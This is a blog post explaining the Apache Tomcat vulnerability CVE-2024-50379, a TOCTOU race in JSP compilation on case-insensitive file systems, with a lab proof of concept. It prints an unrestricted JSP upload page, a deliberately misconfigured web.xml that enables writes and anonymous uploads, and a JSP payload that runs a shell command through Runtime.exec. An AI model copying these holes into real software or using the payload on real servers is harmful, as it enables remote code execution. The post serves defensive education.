In the ever-evolving landscape of cybersecurity, staying ahead of vulnerabilities is crucial for protecting sensitive systems. Recently, a critical security flaw — CVE-2024–50379 — was uncovered in Apache Tomcat, one of the most widely used web application servers globally. With a severity score of 9.8, this vulnerability poses a significant risk, potentially allowing attackers to execute arbitrary code and compromise affected systems.
This blog dives deep into the technical details of CVE-2024–50379, offering insights into its root cause, the potential impact, and real-world exploit scenarios. To better understand its implications, we’ll also walk through a Proof of Concept (POC) to demonstrate how attackers could exploit this flaw in unpatched systems.
By the end of this article, you’ll not only gain a thorough understanding of the vulnerability but also learn how to safeguard your Tomcat deployments against this critical threat. Let’s unravel the details and arm ourselves with the knowledge to stay secure.
CVE-2024–50379 is a Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability that occurs during JSP compilation in Apache Tomcat. This flaw permits a Remote Code Execution (RCE) on case-insensitive file systems under specific conditions.
To exploit this vulnerability, the default servlet must be enabled for write — a configuration that is not enabled by default. The issue affects the following Apache Tomcat versions:
It is strongly recommended to upgrade to the fixed versions:
While this vulnerability is awaiting a full CVSS 4.0 Severity assessment, its potential for exploitation highlights the importance of addressing it immediately. The high severity score (9.8) underscores its criticality, particularly for systems with misconfigured settings.
Further details, including advisories and mitigation steps, can be found in the following resources:
To demonstrate the exploitation of CVE-2024–50379, we create a controlled scenario involving:
Since Windows has a case-insensitive file system, file.jsp and FILE.JSP are treated as the same file. Hence, the older file simply gets replaced when a new file is uploaded. In Linux, this wouldn't be the case as both file.jsp and FILE.JSP would be treated as two different files.
Press enter or click to view image in full size
Disclaimer: This demonstration is for educational purposes only and should be performed in a secure, isolated lab environment. Never deploy such insecure configurations in production environments.
We create a simple JSP webpage (upload.jsp) that allows file uploads to the Tomcat server.
<%@ page import="java.io.*, java.util.*" %>
<%@ page import="javax.servlet.http.Part" %>
<!DOCTYPE html>
<html>
<head>
<title>File Upload</title>
</head>
<body>
<h1>Upload a JSP File</h1>
<form action="upload.jsp" method="post" enctype="multipart/form-data">
<label for="file">Choose JSP File:</label>
<input type="file" name="file" id="file" accept=".jsp"><br><br>
<input type="submit" value="Upload File">
</form> <%
if ("POST".equalsIgnoreCase(request.getMethod())) {
Part filePart = request.getPart("file");
String fileName = filePart.getSubmittedFileName();
String uploadPath = application.getRealPath("/") + "uploads/";
File uploadDir = new File(uploadPath);
if (!uploadDir.exists()) uploadDir.mkdirs();
try (InputStream inputStream = filePart.getInputStream();
FileOutputStream outputStream = new FileOutputStream(uploadPath + fileName)) {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = inputStream.read(buffer)) != -1) {
outputStream.write(buffer, 0, bytesRead);
}
out.println("<p>File uploaded successfully to: " + uploadPath + fileName + "</p>");
} catch (Exception e) {
out.println("<p>Error uploading file: " + e.getMessage() + "</p>");
}
}
%>
</body>
</html>
This JSP script:
.jsp files for upload.uploads/ directory in the server root.Changes in web.xml File
Join Medium for free to get updates from this writer.
To exploit CVE-2024–50379, modifications in the web.xml file can help enable the Default Servlet to process uploads with write permissions. This misconfiguration allows attackers to upload malicious files like FILE.JSP, which could replace existing files with unintended consequences.
In a default setup, the Default Servlet typically does not allow write access. However, when configured with incorrect permissions, it allows files to be overwritten, making it susceptible to TOCTOU race conditions.
<!-- Example web.xml configuration to exploit CVE-2024-50379 --><web-app xmlns="http://java.sun.com/xml/ns/javaee" version="3.0">
<!-- Default Servlet Configuration -->
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value> <!-- Misconfiguration: Enables write permissions -->
</init-param>
<init-param>
<param-name>fileEncoding</param-name>
<param-value>UTF-8</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/uploads/*</url-pattern>
</servlet-mapping>
<!-- Security Misconfiguration: Allow JSP File Uploads -->
<servlet>
<servlet-name>FileUploadServlet</servlet-name>
<jsp-file>/upload.jsp</jsp-file>
<multipart-config>
<location>/tmp</location> <!-- Temporary upload directory -->
<max-file-size>5242880</max-file-size> <!-- 5 MB -->
<max-request-size>10485760</max-request-size> <!-- 10 MB -->
<file-size-threshold>1024</file-size-threshold> <!-- 1 KB -->
</multipart-config>
</servlet>
<servlet-mapping>
<servlet-name>FileUploadServlet</servlet-name>
<url-pattern>/upload.jsp</url-pattern>
</servlet-mapping>
<!-- Directory Browsing Enabled -->
<init-param>
<param-name>listings</param-name>
<param-value>true</param-value>
</init-param>
<!-- Application Security Constraints (Optional and misconfigured) -->
<security-constraint>
<web-resource-collection>
<web-resource-name>Unrestricted Uploads</web-resource-name>
<url-pattern>/uploads/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<role-name>*</role-name> <!-- No restriction, allowing anonymous access -->
</auth-constraint>
</security-constraint>
</web-app>
P.S.: This vulnerability can only be exploited if specific changes are made to the web.xml file configuration. By default, the readonly parameter in Tomcat's DefaultServlet is set to true, which prevents write operations. Exploitation becomes possible only if this parameter is explicitly set to false, allowing write access to the servlet. Always review and secure your server configurations to mitigate such risks.
Upload a Harmless JSP File
Upload a simple hello.jsp file containing:
<% out.println("Hello, World!"); %>Create a Malicious JSP File
Prepare a malicious JSP file (HELLO.JSP) to exploit the vulnerability:
<%@ page import="java.io.*" %>
<!DOCTYPE html>
<html>
<head>
<title>Hello World JSP</title>
</head>
<body>
<h1>Hello, World!</h1>
<%
try {
// Execute the command to open calc.exe
Process process = Runtime.getRuntime().exec("cmd /c start calc.exe");
out.println("<p>Calculator has been opened successfully (if the server is running on Windows).</p>");
} catch (Exception e) {
out.println("<p>Error while opening calculator: " + e.getMessage() + "</p>");
}
%>
</body>
</html>This file will open the Windows calculator (calc.exe) upon execution.
Overwrite the harmless hello.jsp with the malicious HELLO.JSP using a script.
Trigger the Vulnerability
Access http://localhost:8080/<your-app>/uploads/hello.jsp to trigger the malicious JSP execution.
Press enter or click to view image in full size
Special thanks to Shaurya for quick help.
Thank you so much for helping me with framing the article & all the motivation behind !